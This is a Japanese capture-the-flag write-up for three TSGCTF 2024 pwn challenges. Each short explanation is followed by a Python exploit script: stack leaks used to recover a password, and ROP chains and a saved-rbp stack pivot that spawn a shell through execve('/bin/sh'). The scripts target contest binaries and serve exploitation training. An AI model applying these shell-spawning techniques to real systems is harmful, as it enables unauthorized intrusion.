TSGCTF 2024
password-ate-quiz(pwn)
スタック上の好きな場所を見れるので、それを元にパスワードを特定できる
code: (python)
io = conn()
recv("Enter the password > ")
send("aaa")
recv("Enter a hint number (0~2) > ")
send("9")
key = number.bytes_to_long(io.recvline())
pw = b""
for i in range(4, 10):
recv("Enter a hint number (0~2) > ")
send(f"{i}")
s1 = number.bytes_to_long(io.recvline())
pw += number.long_to_bytes(key ^ s1):-1
print(pw.decode())
io.interactive()
vuln_img(pwn)
画像ファイルのバイナリが実行可能になっているため、機械語として解釈することでROPができる
32bit系のガジェットしか無かったため、/bin/shを4バイトずつ書き込んだ
code: (python)
io = conn()
base_addr = 0x1000000
text = 0xfff000
nop = base_addr + 0x0000e696
syscall = base_addr + 0x0000ccb7
pop_eax = base_addr + 0x0000c30e
pop_ebx = base_addr + 0x000023dc # pop ebx; inc edi; ret;
pop_edx = base_addr + 0x000058ba # pop edx; add eax, 0xd8a7d76f; std; ret;
pop_edi = base_addr + 0x00004952 # pop edi; inc ecx; sbb eax, 0x4424a400; ret;
xchg_esi_eax = base_addr + 0x00005816 # xchg esi, eax; ret;
mov_ebxa_edx = base_addr + 0x0000494f # mov ebx, edx; xchg edi+0x41, bl; sbb eax, 0x4424a400; ret;
payload = b""
payload += b"a" * 280
payload += p64(pop_edx) + b"/bin\0\0\0\0"
payload += p64(pop_ebx)
payload += p64(text)
payload += p64(mov_ebxa_edx)
payload += p64(pop_edx) + b"/sh\0\0\0\0\0"
payload += p64(pop_ebx)
payload += p64(text+4)
payload += p64(mov_ebxa_edx)
payload += p64(pop_edi) + p64(text)
payload += p64(pop_edx) + p64(0)
payload += p64(pop_eax) + p64(0)
payload += p64(xchg_esi_eax)
payload += p64(pop_eax) + p64(59)
payload += p64(syscall)
recv("> ")
send(payload)
recv("> ")
send("exit")
io.interactive()
piercing_misty_mountain(pwn)
profile()内で2バイトだけBOFが可能
BOFで書き込める領域に何があるかを確かめると、それぞれ saved rbp とリターンアドレスを指していた
これを利用して、mainの最初に戻りつつrbpを変更することでmain関数上で好きな領域にデータを書き込める
saved rbpが触れるので、2回リターンすることでstack pviotが可能
よって、任意のデータ領域(ここではbss)にROPを仕込み、2周目でsaved rbpにそのアドレスを書き込むことでauth()からリターンする際にROPが成功する
code: (python)
ret = 0x00497c5c
pop_rdi = 0x00497821
pop_rsi = 0x0049723f
pop_rdx = 0x0044afa2
pop_rax = 0x0048626a
syscall = 0x00492d59
def exploit():
sendafter("Name > ", b"a")
sendafter("> ", b"3")
payload = b"a" * 4
payload += p64(elf.bss() + 0x1000) # saved rbp
payload += p64(elf.symbols"main"+15) # retaddr
sendafter("Job > ", payload)
rop = b"/bin/sh\0" # bss+0
# rsp here
rop += p64(pop_rdi) + p64(elf.bss())
rop += p64(pop_rsi) + p64(0)
rop += p64(pop_rdx) + p64(0)
rop += p64(pop_rax) + p64(59)
rop += p64(syscall)
sendafter("Name > ", rop)
sendafter("> ", b"3")
payload = b"a" * 4
payload += p64(elf.bss()) # saved rbp
sendafter("Job > ", payload)
sendafter("Age > ", b"0")
return 0